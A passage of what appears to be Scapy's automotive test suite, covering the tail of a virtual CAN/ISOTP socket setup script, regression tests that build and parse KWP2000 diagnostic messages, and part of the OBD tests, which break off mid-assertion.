sys.__stderr__.write(\"Using NativeCANSocket\\n\")\n\nelse:\n    from scapy.contrib.cansocket_python_can import *  # noqa: F403\n    new_can_socket = lambda iface: PythonCANSocket(bustype='virtual', channel=iface)  # noqa: E501\n    new_can_socket0 = lambda: PythonCANSocket(bustype='virtual', channel=iface0, timeout=0.01)  # noqa: E501\n    new_can_socket1 = lambda: PythonCANSocket(bustype='virtual', channel=iface1, timeout=0.01)  # noqa: E501\n    sys.__stderr__.write(\"Using PythonCANSocket virtual\\n\")\n\n\n# ############################################################################\n# \"\"\" Test if socket creation functions work \"\"\"\n# ############################################################################\ns = new_can_socket(iface0)\ns.close()\ndel s\n\ns = new_can_socket(iface1)\ns.close()\ndel s\n\n\ndef cleanup_interfaces():\n    # type: () -> bool\n    \"\"\"\n    Helper function to remove virtual CAN interfaces after test\n\n    :return: True on success\n    \"\"\"\n    if _socket_can_support:\n        if 0 != subprocess.call([\"ip\", \"link\", \"delete\", iface0]):\n            raise Exception(\"%s could not be deleted\" % iface0)\n        if 0 != subprocess.call([\"ip\", \"link\", \"delete\", iface1]):\n            raise Exception(\"%s could not be deleted\" % iface1)\n    return True\n\n\ndef drain_bus(iface=iface0, assert_empty=True):\n    # type: (str, bool) -> None\n    \"\"\"\n    Utility function for draining a can interface,\n    asserting that no packets are there\n\n    :param iface: Interface name to drain\n    :param assert_empty: If true, raise exception in case packets were received\n    \"\"\"\n    with new_can_socket(iface) as s:\n        pkts = s.sniff(timeout=0.1)\n        if assert_empty and not len(pkts) == 0:\n            raise Scapy_Exception(\n                \"Error in drain_bus. Packets found but no packets expected!\")\n\n\ndrain_bus(iface0)\ndrain_bus(iface1)\n\nlog_runtime.debug(\"CAN sockets should work now\")\n\n# ############################################################################\n# \"\"\" Setup and definitions for ISOTP related stuff \"\"\"\n# ############################################################################\n\n# ############################################################################\n# function to exit when the can-isotp kernel module is not available\n# ############################################################################\nISOTP_KERNEL_MODULE_AVAILABLE = False\n\n\ndef exit_if_no_isotp_module():\n    # type: () -> None\n    \"\"\"\n    Helper function to exit a test case if ISOTP kernel module is not available\n    \"\"\"\n    if not ISOTP_KERNEL_MODULE_AVAILABLE:\n        err = \"TEST SKIPPED: can-isotp not available\\n\"\n        sys.__stderr__.write(err)\n        warning(\"Can't test ISOTPNativeSocket because \"\n                \"kernel module isn't loaded\")\n        sys.exit(0)\n\n\n# ############################################################################\n# \"\"\" Evaluate if ISOTP kernel module is installed and available \"\"\"\n# ############################################################################\nif LINUX and _root and _socket_can_support:\n    p1 = subprocess.Popen(['lsmod'], stdout=subprocess.PIPE)\n    p2 = subprocess.Popen(['grep', '^can_isotp'],\n                          stdout=subprocess.PIPE, stdin=p1.stdout)\n    p1.stdout.close()\n    if p1.wait() == 0 and p2.wait() == 0 and b\"can_isotp\" in p2.stdout.read():\n        p = subprocess.Popen([\"isotpsend\", \"-s1\", \"-d0\", iface0],\n                             stdin=subprocess.PIPE)\n        p.communicate(b\"01\")\n        if p.returncode == 0:\n            ISOTP_KERNEL_MODULE_AVAILABLE = True\n\n# ############################################################################\n# \"\"\" Save configuration \"\"\"\n# ############################################################################\nconf.contribs['ISOTP'] = \\\n    {'use-can-isotp-kernel-module': ISOTP_KERNEL_MODULE_AVAILABLE}\n\n# ############################################################################\n# \"\"\" reload ISOTP kernel module in case configuration changed \"\"\"\n# ############################################################################\nimport importlib\nif \"scapy.contrib.isotp\" in sys.modules:\n    importlib.reload(scapy.contrib.isotp)  # type: ignore  # noqa: F405\n\nload_contrib(\"isotp\", globals_dict=globals())\n\nif ISOTP_KERNEL_MODULE_AVAILABLE:\n    if ISOTPSocket is not ISOTPNativeSocket:  # type: ignore\n        raise Scapy_Exception(\"Error in ISOTPSocket import!\")\nelse:\n    if ISOTPSocket is not ISOTPSoftSocket:  # type: ignore\n        raise Scapy_Exception(\"Error in ISOTPSocket import!\")\n"
  },
  {
    "path": "test/contrib/automotive/kwp.uts",
    "content": "% Regression tests for the KWP2000 layer\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n\n+ Basic operations\n\n= Load module\nload_contrib(\"automotive.kwp\", globals_dict=globals())\n\n= Check if positive response answers\n\nsds = KWP(b'\\x10')\nsdspr = KWP(b'\\x50')\nassert sdspr.answers(sds)\n\n= Check hashret\nsds.hashret() == sdspr.hashret()\n\n= Check if negative response answers\n\nsds = KWP(b'\\x10')\nneg = KWP(b'\\x7f\\x10')\nassert neg.answers(sds)\n\n= CHECK hashret NEG\nsds.hashret() == neg.hashret()\n\n= Check if negative response answers\n\nconf.contribs['KWP']['treat-response-pending-as-answer'] = False\n\nsds = KWP(b'\\x10')\nneg = KWP(b'\\x7f\\x10\\x78')\nassert not neg.answers(sds)\n\nconf.contribs['KWP']['treat-response-pending-as-answer'] = True\n\n= CHECK hashret NEG\nsds.hashret() == neg.hashret()\n\n= Check if negative response answers not\n\nsds = KWP(b'\\x10')\nneg = KWP(b'\\x7f\\x11')\nassert not neg.answers(sds)\n\n= Check if positive response answers not\n\nsds = KWP(b'\\x10')\nsomePacket = KWP(b'\\x49')\nassert not somePacket.answers(sds)\n\n= Check KWP_SDS\n\nsds = KWP(b'\\x10\\x01')\nassert sds.service == 0x10\nassert sds.diagnosticSession == 0x01\n\n= Check KWP_SDS\n\nsds = KWP()/KWP_SDS(b'\\x01')\nassert sds.service == 0x10\nassert sds.diagnosticSession == 0x01\n\n= Check KWP_SDSPR\n\nsdspr = KWP(b'\\x50\\x02beef')\nassert sdspr.service == 0x50\nassert sdspr.diagnosticSession == 0x02\n\nassert not sdspr.answers(sds)\n\n= Check KWP_SDSPR\n\nsdspr = KWP()/KWP_SDSPR(b'\\x01beef')\nassert sdspr.service == 0x50\nassert sdspr.diagnosticSession == 0x01\n\nassert sdspr.answers(sds)\n\n= Check KWP_SDS\n\nsds = KWP()/KWP_SDS(b'\\x01')\nassert sds.service == 0x10\nassert sds.diagnosticSession == 0x01\n\n= Check KWP_SDSPR\n\nsdspr = KWP()/KWP_SDSPR(b'\\x01beef')\nassert sdspr.service == 0x50\nassert sdspr.diagnosticSession == 0x01\n\nassert sdspr.answers(sds)\n\n= Check KWP_ER\n\ner = KWP(b'\\x11\\x01')\nassert er.service == 0x11\nassert er.resetMode == 0x01\n\n= Check KWP_ER\n\ner = KWP()/KWP_ER(resetMode=\"powerOnReset\")\nassert er.service == 0x11\nassert er.resetMode == 0x01\n\n= Check KWP_ERPR\n\nerpr = KWP(b'\\x51')\nassert erpr.service == 0x51\n\nassert erpr.answers(er)\n\n= Check KWP_SA\n\nsa = KWP(b'\\x27\\x00c0ffee')\nassert sa.service == 0x27\nassert sa.accessMode == 0x0\nassert sa.key == b'c0ffee'\n\n= Check KWP_SAPR\n\nsapr = KWP(b'\\x67')\nassert sapr.service == 0x67\n\nassert sapr.answers(sa)\n\n= Check KWP_SA\n\nsa = KWP(b'\\x27\\x01')\nassert sa.service == 0x27\nassert sa.accessMode == 0x1\n\n= Check KWP_SAPR\n\nsapr = KWP(b'\\x67\\x01c0ffee')\nassert sapr.service == 0x67\nassert sapr.accessMode == 0x1\nassert sapr.seed == b'c0ffee'\n\nassert sapr.answers(sa)\n\n= Check KWP_SA\n\nsa = KWP(b'\\x27\\x00c0ffee')\nassert sa.service == 0x27\nassert sa.accessMode == 0x0\nassert sa.key == b'c0ffee'\n\n= Check KWP_SA\n\nsa = KWP(b'\\x27\\x01c0ffee')\nassert sa.service == 0x27\nassert sa.accessMode == 0x1\n\n= Check KWP_SAPR\n\nsapr = KWP(b'\\x67\\x01c0ffee')\nassert sapr.service == 0x67\nassert sapr.accessMode == 0x1\nassert sapr.seed == b'c0ffee'\n\n\n= Check KWP_DNT\n\ncc = KWP(b'\\x28\\x01')\nassert cc.service == 0x28\nassert cc.responseRequired == 0x1\n\n= Check KWP_DNMTPR\n\nccpr = KWP(b'\\x68')\nassert ccpr.service == 0x68\nassert ccpr.answers(cc)\n\n= Check KWP_DNMTPR\n\nccpr = KWP(b'\\x68abcd')\nassert ccpr.service == 0x68\nassert ccpr.answers(cc)\n\nassert (KWP()/KWP_DNMTPR()).answers(cc)\n\n= Check KWP_TP\n\ntp = KWP(b'\\x3E\\x01')\nassert tp.service == 0x3e\nassert tp.responseRequired == 1\n\n= Check KWP_TPPR\n\ntppr = KWP(b'\\x7E')\nassert tppr.service == 0x7e\n\nassert tppr.answers(tp)\n\nassert (KWP()/KWP_TPPR()).answers(tp)\n\n= Check KWP_CDTCS\n\ncdtcs = KWP(b'\\x85\\x01\\x40\\x00\\x01')\nassert cdtcs.service == 0x85\nassert cdtcs.responseRequired == 1\nassert cdtcs.groupOfDTC == 0x4000\nassert cdtcs.DTCSettingMode == 1\n\n= Check KWP_CDTCSPR\n\ncdtcspr = KWP(b'\\xC5\\x00')\nassert cdtcspr.service == 0xC5\n\nassert cdtcspr.answers(cdtcs)\n\n= Check KWP_ROE\n\nroe = KWP(b'\\x86\\x01\\x10\\x00')\nassert roe.service == 0x86\nassert roe.responseRequired == 1\nassert roe.eventType == 0\nassert roe.eventWindowTime == 16\n\n= Check KWP_ROEPR\n\nroepr = KWP(b'\\xC6\\x00\\x01')\nassert roepr.service == 0xC6\nassert roepr.numberOfActivatedEvents == 0\nassert roepr.eventType == 0\n\nassert roepr.answers(roe)\n\n= Check KWP_RDBI\n\nrdbi = KWP(b'\\x22\\x01\\x02')\nassert rdbi.service == 0x22\nassert rdbi.identifier == 0x0102\n\n= Build KWP_RDBI\n\nrdbi = KWP()/KWP_RDBI(identifier=0x102)\nassert rdbi.service == 0x22\nassert rdbi.identifier == 0x0102\nassert bytes(rdbi) == b'\\x22\\x01\\x02'\n\n= Check KWP_RDBI2\n\nrdbi = KWP(b'\\x22\\x01\\x02')\nassert rdbi.service == 0x22\nassert rdbi.identifier == 0x0102\nassert raw(rdbi) == b'\\x22\\x01\\x02'\n\n= Build KWP_RDBI2\n\nrdbi = KWP()/KWP_RDBI(identifier=0x304)\nassert rdbi.service == 0x22\nassert rdbi.identifier == 0x0304\nassert raw(rdbi) == b'\\x22\\x03\\x04'\n\n= Test observable dict used in KWP_RDBI, setter\n\nKWP_RDBI.dataIdentifiers[0x102] = \"turbo\"\nKWP_RDBI.dataIdentifiers[0x103] = \"fullspeed\"\n\nrdbi = KWP()/KWP_RDBI(identifier=0x102)\n\nassert \"turbo\" in plain_str(repr(rdbi))\n\nrdbi = KWP()/KWP_RDBI(identifier=0x103)\n\nassert \"fullspeed\" in plain_str(repr(rdbi))\n\n= Test observable dict used in KWP_RDBI, deleter\n\nKWP_RDBI.dataIdentifiers[0x102] = \"turbo\"\n\nrdbi = KWP()/KWP_RDBI(identifier=0x102)\nassert \"turbo\" in plain_str(repr(rdbi))\n\ndel KWP_RDBI.dataIdentifiers[0x102]\nKWP_RDBI.dataIdentifiers[0x103] = \"slowspeed\"\n\nrdbi = KWP()/KWP_RDBI(identifier=0x102)\n\nassert \"turbo\" not in plain_str(repr(rdbi))\n\nrdbi = KWP()/KWP_RDBI(identifier=0x103)\n\nassert \"slowspeed\" in plain_str(repr(rdbi))\n\n= Check KWP_RDBIPR\n\nrdbipr = KWP(b'\\x62\\x01\\x03dieselgate')\nassert rdbipr.service == 0x62\nassert rdbipr.identifier == 0x0103\nassert rdbipr.load == b'dieselgate'\n\nassert rdbipr.answers(rdbi)\n\n= Check KWP_RMBA\n\nrmba = KWP(b'\\x23\\x11\\x02\\x02\\x11')\nassert rmba.service == 0x23\nassert rmba.memoryAddress == 0x110202\nassert rmba.memorySize == 17\n\n= Check KWP_RMBAPR\n\nrmbapr = KWP(b'\\x63muchData')\nassert rmbapr.service == 0x63\nassert rmbapr.dataRecord == b'muchData'\n\nassert rmbapr.answers(rmba)\n\n= Check KWP_DDLI\n\ndddi = KWP(b'\\x2c\\x12\\x44coffee')\nassert dddi.service == 0x2c\nassert dddi.dynamicallyDefineLocalIdentifier == 0x12\nassert dddi.definitionMode == 0x44\nassert dddi.dataRecord == b'coffee'\n\n= Check KWP_DDLIPR\n\ndddipr = KWP(b'\\x6c\\x12\\x44\\x01')\nassert dddipr.service == 0x6c\nassert dddipr.dynamicallyDefineLocalIdentifier == 0x12\n\nassert dddipr.answers(dddi)\n\n= Check KWP_WDBI\n\nwdbi = KWP(b'\\x2e\\x01\\x02dieselgate')\nassert wdbi.service == 0x2e\nassert wdbi.identifier == 0x0102\nassert wdbi.load == b'dieselgate'\n\n= Build KWP_WDBI\n\nwdbi = KWP()/KWP_WDBI(identifier=0x0102)/Raw(load=b'dieselgate')\nassert wdbi.service == 0x2e\nassert wdbi.identifier == 0x0102\nassert wdbi.load == b'dieselgate'\nassert bytes(wdbi) == b'\\x2e\\x01\\x02dieselgate'\n\n= Check KWP_WDBI\n\nwdbi = KWP(b'\\x2e\\x01\\x02dieselgate')\nassert wdbi.service == 0x2e\nassert wdbi.identifier == 0x0102\nassert wdbi.load == b'dieselgate'\n\nwdbi = KWP(b'\\x2e\\x02\\x02benzingate')\nassert wdbi.service == 0x2e\nassert wdbi.identifier == 0x0202\nassert wdbi.load == b'benzingate'\n\n\n= Check KWP_WDBIPR\n\nwdbipr = KWP(b'\\x6e\\x02\\x02')\nassert wdbipr.service == 0x6e\nassert wdbipr.identifier == 0x0202\n\nassert wdbipr.answers(wdbi)\n\n= Check KWP_WMBA\n\nwmba = KWP(b'\\x3d\\x11\\x02\\x02\\x02muchData')\nassert wmba.service == 0x3d\nassert wmba.memoryAddress == 0x110202\nassert wmba.memorySize == 2\nassert wmba.dataRecord == b'muchData'\n\n= Check KWP_WMBAPR\n\nwmbapr = KWP(b'\\x7d\\x11\\x02\\x02')\nassert wmbapr.service == 0x7d\nassert wmbapr.memoryAddress == 0x110202\n\nassert wmbapr.answers(wmba)\n\n= Check KWP_CDI\n\ncdtci = KWP(b'\\x14\\x44\\x02\\x03')\nassert cdtci.service == 0x14\nassert cdtci.groupOfDTC == 0x4402\n\ncdtcipr = KWP(b'\\x54\\x44\\x02\\x03')\nassert cdtcipr.service == 0x54\nassert cdtcipr.groupOfDTC == 0x4402\n\nassert cdtcipr.answers(cdtci)\n\n= Check KWP_RC\n\nrc = KWP(b'\\x31\\xff\\xee\\xdd\\xaa')\nassert rc.service == 0x31\nassert rc.routineLocalIdentifier == 0xff\nassert rc.load == b'\\xee\\xdd\\xaa'\n\n= Check KWP_RC\n\nrc = KWP(b'\\x31\\xff\\xee\\xdd\\xaa')\nassert rc.service == 0x31\nassert rc.routineLocalIdentifier == 0xff\nassert rc.load == b'\\xee\\xdd\\xaa'\n\n\n= Check KWP_RCPR\n\nrcpr = KWP(b'\\x71\\xff\\xee\\xdd\\xaa')\nassert rcpr.service == 0x71\nassert rcpr.routineLocalIdentifier == 0xff\nassert rcpr.load == b'\\xee\\xdd\\xaa'\n\nassert rcpr.answers(rc)\n\n= Check KWP_RD\n\nrd = KWP(b'\\x34\\xaa\\x11\\x02\\x02\\x10\\x00\\x00')\n\nassert rd.service == 0x34\nassert rd.memoryAddress == 0xaa1102\nassert rd.compression == 0\nassert rd.encryption == 2\nassert rd.uncompressedMemorySize == 0x100000\n\n= Check KWP_RDPR\n\nrdpr = KWP(b'\\x74\\x02\\x02\\x02\\x02\\x03\\x03\\x03\\x03')\nassert rdpr.service == 0x74\nassert rdpr.maxNumberOfBlockLength == b'\\x02\\x02\\x02\\x02\\x03\\x03\\x03\\x03'\nrdpr.show()\nassert rdpr.answers(rd)\n\n= Check KWP_RU\n\nru = KWP(b'\\x35\\x11\\x02\\x02\\xa0\\xff\\xff\\xff')\nassert ru.service == 0x35\nassert ru.memoryAddress == 0x110202\nassert ru.compression == 10\nassert ru.encryption == 0\nassert ru.uncompressedMemorySize == 0xffffff\n\n= Check KWP_RUPR\n\nrupr = KWP(b'\\x75\\x02\\x02\\x02\\x02\\x03\\x03\\x03\\x03')\nassert rupr.service == 0x75\nassert rupr.maxNumberOfBlockLength == b'\\x02\\x02\\x02\\x02\\x03\\x03\\x03\\x03'\n\nassert rupr.answers(ru)\n\n= Check KWP_TD\n\ntd = KWP(b'\\x36\\xaapayload')\nassert td.service == 0x36\nassert td.blockSequenceCounter == 0xaa\nassert td.transferDataRequestParameter == b'payload'\n\n= Check KWP_TDPR\n\ntdpr = KWP(b'\\x76\\xaapayload')\nassert tdpr.service == 0x76\nassert tdpr.blockSequenceCounter == 0xaa\nassert tdpr.transferDataRequestParameter == b'payload'\n\nassert tdpr.answers(td)\n\n= Check KWP_RTE\n\nrte = KWP(b'\\x37payload')\nassert rte.service == 0x37\nassert rte.transferDataRequestParameter == b'payload'\n\n= Check KWP_RTEPR\n\nrtepr = KWP(b'\\x77payload')\nassert rtepr.service == 0x77\nassert rtepr.transferDataRequestParameter == b'payload'\n\nassert rtepr.answers(rte)\n\n= Check KWP_IOCBI\n\niocbi = KWP(b'\\x30\\x23\\xffcoffee')\nassert iocbi.service == 0x30\nassert iocbi.localIdentifier == 0x23\nassert iocbi.inputOutputControlParameter == 255\nassert iocbi.controlState == b'coffee'\n\n= Check KWP_IOCBIPR\n\niocbipr = KWP(b'\\x70\\x23\\xffcoffee')\nassert iocbipr.service == 0x70\nassert iocbipr.localIdentifier == 0x23\nassert iocbipr.inputOutputControlParameter == 255\nassert iocbipr.controlState == b'coffee'\n\nassert iocbipr.answers(iocbi)\n\n= Check KWP_NRC\n\nnrc = KWP(b'\\x7f\\x22\\x33')\nassert nrc.service == 0x7f\nassert nrc.requestServiceId == 0x22\nassert nrc.negativeResponseCode == 0x33\n"
  },
  {
    "path": "test/contrib/automotive/obd/obd.uts",
    "content": "% Regression tests for the OBD layer\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n\n+ Basic operations\n\n= Load module\nload_contrib(\"automotive.obd.obd\", globals_dict=globals())\n\n= Check if positive response answers\n\nreq = OBD(b'\\x01\\x2f')\nres = OBD(b'\\x41\\x2f\\x1a')\nassert res.answers(req)\n\n\n= Check hashret\n\nassert req.hashret() == res.hashret()\n\n= Check if negative response answers\n\nreq = OBD(b'\\x01\\x2f')\nres = OBD(b'\\x7f\\x01\\x11')\nassert res.answers(req)\n\n= Check if negative response request_correctly_received_response_pending answers not\n\nreq = OBD(b'\\x01\\x2f')\nres = OBD(b'\\x7f\\x01\\x78')\nassert not res.answers(req)\n\n= Check if negative response request_correctly_received_response_pending answers\n\nconf.contribs['OBD']['treat-response-pending-as-answer'] = True\n\nreq = OBD(b'\\x01\\x2f')\nres = OBD(b'\\x7f\\x01\\x78')\nassert res.answers(req)\n\n\n= Check hashret\n\nassert req.hashret() == res.hashret()\n\n\n= Check hashret for Service 0x40\n\nreq = OBD(b'\\x40')\nres = OBD(b'\\x7F\\x40\\x11')\nassert req.hashret() == res.hashret()\nassert res.answers(req)\n\n\n= Check hashret for Service 0x51\n\nreq = OBD(b'\\x51')\nres = OBD(b'\\x7F\\x51\\x11')\nassert req.hashret() == res.hashret()\nassert res.answers(req)\n\n\n= Check dissecting a request for Service 01 PID 00\n\np = OBD(b'\\x01\\x00')\nassert p.service == 0x01\nassert p.pid[0] == 0x00\n\n\n= Check dissecting a request for Service 01 PID 75\n\np = OBD(b'\\x01\\x75')\nassert p.service == 0x01\nassert p.pid[0] == 0x75\n\n\n= Check dissecting a request for Service 01 PID 78\n\n\np = OBD(b'\\x01\\x78')\nassert p.service == 0x01\nassert p.pid[0] == 0x78\n\n\n= Check dissecting a request for Service 01 PID 7F\n\np = OBD(b'\\x01\\x7F')\nassert p.service == 0x01\nassert p.pid[0] == 0x7F\n\n\n= Check dissecting a request for Service 01 PID 89\n\np = OBD(b'\\x01\\x89')\nassert p.service == 0x01\nassert p.pid[0] == 0x89\n\n\n= Check dissecting a request for Service 02 PID 00\n\np = OBD(b'\\x02\\x00\\x01')\nassert p.service == 0x02\nassert p.requests[0].pid == 0x00\nassert p.requests[0].frame_no == 0x01\n\n\n= Check dissecting a request for Service 02 PID 75\n\np = OBD(b'\\x02\\x75\\x01')\nassert p.service == 0x02\nassert p.requests[0].pid == 0x75\nassert p.requests[0].frame_no == 0x01\n\n\n= Check dissecting a request for Service 02 PID 78\n\np = OBD(b'\\x02\\x78\\x01')\nassert p.service == 0x02\nassert p.requests[0].pid == 0x78\nassert p.requests[0].frame_no == 0x01\n\n\n= Check dissecting a request for Service 02 PID 7F\n\np = OBD(b'\\x02\\x7F\\x01')\nassert p.service == 0x02\nassert p.requests[0].pid == 0x7F\nassert p.requests[0].frame_no == 0x01\n\n\n= Check dissecting a request for Service 02 PID 89\n\np = OBD(b'\\x02\\x89\\x01')\nassert p.service == 0x02\nassert p.requests[0].pid == 0x89\nassert p.requests[0].frame_no == 0x01\n\n\n= Check dissecting a request for Service 03\n\np = OBD(b'\\x03')\nassert p.service == 0x03\n\n\n= Check dissecting a request for Service 06\n\np = OBD(b'\\x06\\x01')\nassert p.service == 0x06\nassert p.mid[0] == 0x01\n\n\n= Check dissecting a request for Service 06 MID 00\n\np = OBD(b'\\x06\\x00')\nassert p.service == 0x06\nassert p.mid[0] == 0x00\n\n\n= Check dissecting a request for Service 06 MID 00,01,02,03,04\n\np = OBD(b'\\x06\\x00\\x01\\x02\\x03\\x04')\nassert p.service == 0x06\nassert p.mid[0] == 0x00\nassert p.mid[1] == 0x01\nassert p.mid[2] == 0x02\nassert p.mid[3] == 0x03\nassert p.mid[4] == 0x04\n\n\n= Check dissecting a response for Service 06 MID 00\n\nr = OBD(b'\\x06\\x00')\np = OBD(b'\\x46\\x00\\x00\\x00\\x00\\x00')\nassert p.service == 0x46\nassert p.data_records[0].mid == 0x00\nassert p.data_records[0].supported_mids == \"\"\nassert p.answers(r)\n\n= Check dissecting a response for Service 06 MID 00 and MID 20\n\nr = OBD(b'\\x06\\x20\\x00')\np = OBD(b'\\x46\\x00\\x01\\x02\\x03\\x04\\x20\\x01\\x02\\x03\\x04')\nassert p.service == 0x46\nassert p.data_records[0].mid == 0x00\nassert p.data_records[0].supported_mids == \"MID1E+MID18+MID17+MID0F+MID08\"\nassert p.data_records[1].mid == 0x20\nassert p.data_records[1].supported_mids == \"MID3E+MID38+MID37+MID2F+MID28\"\nassert p.answers(r)\nr = OBD(b'\\x06\\x20\\x00\\x40\\x60')\nassert p.answers(r)\nr = OBD(b'\\x06\\x20')\nassert not p.answers(r)\n\n\n= Check dissecting a response for Service 06 MID 00, 20, 40, 60, 80, A0\n\np = OBD(b'\\x46\\x00\\x01\\x02\\x03\\x04\\x20\\x01\\x02\\x03\\x04\\x40\\x01\\x02\\x03\\x04\\x60\\x01\\x02\\x03\\x04\\x80\\x01\\x02\\x03\\x04\\xA0\\x01\\x02\\x03\\x04')\nassert p.service == 0x46\nassert p.data_records[0].mid == 0x00\nassert p.data_records[0].supported_mids == \"MID1E+MID18+MID17+MID0F+MID08\"\nassert p.data_records[1].mid == 0x20\nassert p.data_records[1].supported_mids == \"MID3E+MID38+MID37+MID2F+MID28\"\nassert p.data_records[2].mid == 0x40\nassert p.data_records[2].supported_mids == \"MID5E+MID58+MID57+MID4F+MID48\"\nassert p.data_records[3].mid == 0x60\nassert p.data_records[3].supported_mids == \"MID7E+MID78+MID77+MID6F+MID68\"\nassert p.data_records[4].mid == 0x80\nassert p.data_records[4].supported_mids == \"MID9E+MID98+MID97+MID8F+MID88\"\nassert p.data_records[5].mid == 0xA0\nassert p.data_records[5].supported_mids == \"MIDBE+MIDB8+MIDB7+MIDAF+MIDA8\"\nassert len(p.data_records) == 6\nr = OBD(b'\\x06\\x00\\x20\\x40\\x60\\x80\\xA0')\nassert p.answers(r)\n\n= Check dissecting a response for Service 06 MID 01\n\np = OBD(b'\\x46\\x01\\x01\\x0A\\x0B\\xB0\\x0B\\xB0\\x0B\\xB0\\x01\\x05\\x10\\x00\\x48\\x00\\x00\\x00\\x64\\x01\\x85\\x24\\x00\\x96\\x00\\x4B\\xFF\\xFF')\nassert p.service == 0x46\nassert p.data_records[0].mid == 0x01\nassert p.data_records[0].standardized_test_id == 1\nassert p.data_records[0].unit_and_scaling_id == 10\nassert p.data_records[0].test_value == 365.024\nassert p.data_records[0].min_limit == 365.024\nassert p.data_records[0].max_limit == 365.024\nassert \"Voltage\" in p.data_records[0].__repr__()\nassert \"365.024 mV\" in p.data_records[0].__repr__()\nassert p.data_records[1].mid == 0x01\nassert p.data_records[1].standardized_test_id == 5\nassert p.data_records[1].unit_and_scaling_id == 16\nassert p.data_records[1].test_value == 72\nassert p.data_records[1].min_limit == 0\nassert p.data_records[1].max_limit == 100\nassert \"Time\" in p.data_records[1].__repr__()\nassert \"72 ms\" in p.data_records[1].__repr__()\nassert p.data_records[2].mid == 0x01\nassert p.data_records[2].standardized_test_id == 0x85\nassert p.data_records[2].unit_and_scaling_id == 0x24\nassert p.data_records[2].test_value == 150\nassert p.data_records[2].min_limit == 75\nassert p.data_records[2].max_limit == 65535\nassert \"Counts\" in p.data_records[2].__repr__()\nassert \"150 counts\" in p.data_records[2].__repr__()\nassert len(p.data_records) == 3\nr = OBD(b'\\x06\\x01')\nassert p.answers(r)\nr = OBD(b'\\x06\\x01\\x01\\x01')\nassert p.answers(r)\nr = OBD(b'\\x06\\x01\\x02')\nassert p.answers(r)\n\n\n= Check dissecting a response for Service 06 MID 21\n\np = OBD(b'\\x46\\x21\\x87\\x2F\\x00\\x00\\x00\\x00\\x00\\x00')\np.show()\nassert p.service == 0x46\nassert p.data_records[0].mid == 0x21\nassert p.data_records[0].standardized_test_id == 135\nassert p.data_records[0].unit_and_scaling_id == 0x2F\nassert p.data_records[0].test_value == 0\nassert p.data_records[0].min_limit == 0\nassert p.data_records[0].max_limit == 0\nassert \"Percent\" in p.data_records[0].__repr__()\nassert \"0 %\" in p.data_records[0].__repr__()\nassert len(p.data_records) == 1\nr = OBD(b'\\x06\\x21')\nassert p.answers(r)\n\n= Check dissecting a request for Service 09 IID 00\n\np = OBD(b'\\x09\\x00')\nassert p.service == 0x09\nassert p.iid[0] == 0x00\n\n\n= Check dissecting a request for Service 09 IID 02\n\np = OBD(b'\\x09\\x02')\nassert p.service == 0x09\nassert p.iid[0] == 0x02\n\n\n= Check dissecting a request for Service 09 IID 04\n\np = OBD(b'\\x09\\x04')\nassert p.service == 0x09\nassert p.iid[0] == 0x04\n\n\n= Check dissecting a request for Service 09 IID 00 and IID 02 and IID 04\n\np = OBD(b'\\x09\\x00\\x02\\x04')\nassert p.service == 0x09\nassert p.iid[0] == 0x00\nassert p.iid[1] == 0x02\nassert p.iid[2] == 0x04\n\n\n= Check dissecting a request for Service 09 IID 0A\n\np = OBD(b'\\x09\\x0A')\nassert p.service == 0x09\nassert p.iid[0] == 0x0A\n\n\n= Check dissecting a response for Service 01 PID 75\n\np = OBD(b'\\x41\\x75\\x0a\\x00\\x11\\x22\\x33\\x44\\x55')\nassert p.service == 0x41\nassert p.data_records[0].pid == 0x75\nassert p.data_records[0].reserved == 0\nassert p.data_records[0].turbo_a_turbine_outlet_temperature_supported == 1\nassert p.data_records[0].turbo_a_turbine_inlet_temperature_supported == 0\nassert p.data_records[0].turbo_a_compressor_outlet_temperature_supported == 1\nassert p.data_records[0].turbo_a_compressor_inlet_temperature_supported == 0\nassert p.data_records[0].turbocharger_a_compressor_inlet_temperature == 0x00-40\nassert p.data_records[0].turbocharger_a_compressor_outlet_temperature == 0x11-40\nassert p.data_records[0].turbocharger_a_turbine_inlet_temperature == \\\n       round((0x2233 * 0.1) - 40, 3)\nassert p.data_records[0].turbocharger_a_turbine_outlet_temperature == \\\n       round((0x4455 * 0.1) - 40, 3)\n\nr = OBD(b'\\x01\\x75')\nassert p.answers(r)\n\n\n= Check dissecting a response for Service 01 PID 00 and PID 20\n\np = OBD(b'\\x41\\x00\\xBF\\xBF\\xA8\\x91\\x20\\x80\\x00\\x00\\x00')\nassert p.service == 0x41\nassert p.data_records[0].pid == 0\nassert p.data_records[0].supported_pids == \"PID20+PID1C+PID19+PID15+PID13+PID11+PID10+PID0F+PID0E+PID0D+PID0C+PID0B+PID09+PID08+PID07+PID06+PID05+PID04+PID03+PID01\"\nassert p.data_records[1].pid == 0x20\nassert p.data_records[1].supported_pids == \"PID21\"\nassert len(p.data_records) == 2\nr = OBD(b'\\x01\\x00\\x20')\nassert p.answers(r)\n\n\n= Check dissecting a response for Service 01 PID 05,01,15,0C,03\n\np = OBD(b'\\x41\\x05\\x6e\\x01\\x83\\x33\\xff\\x63\\x15\\xa0\\x78\\x0c\\x0a\\x6b\\x03\\x02\\x00')\np.show()\nassert p.service == 0x41\nassert p.data_records[0].pid == 5\nassert p.data_records[0].data == 70.0\nassert p.data_records[1].pid == 0x1\nassert p.data_records[2].pid == 0x15\nassert p.data_records[2].outputVoltage == 0.8\nassert p.data_records[2].trim == -6.25\nassert p.data_records[3].pid == 12\nassert p.data_records[3].data == 666.75\nassert p.data_records[4].pid == 3\nassert p.data_records[4].fuel_system1 == 0x02\nassert p.data_records[4].fuel_system2 == 0\nassert len(p.data_records) == 5\n\nr = OBD(b'\\x01\\x05\\x01\\x15\\x0c\\x03')\nassert p.answers(r)\nr = OBD(b'\\x01\\x05\\x01\\x15')\nassert not p.answers(r)\nr = OBD(b'\\x01\\x02')\nassert not p.answers(r)\n\n\np = OBD(b'\\x41\\x00\\xBF\\xBF\\xA8\\x91\\x20\\x80\\x00\\x00\\x00')\np.show()\nassert p.service == 0x41\nassert p.data_records[0].pid == 0\nassert p.data_records[0].supported_pids == \"PID20+PID1C+PID19+PID15+PID13+PID11+PID10+PID0F+PID0E+PID0D+PID0C+PID0B+PID09+PID08+PID07+PID06+PID05+PID04+PID03+PID01\"\nassert p.data_records[1].pid == 0x20\nassert p.data_records[1].supported_pids == \"PID21\"\nassert len(p.data_records) == 2\nr = OBD(b'\\x01\\x00\\x20')\nassert 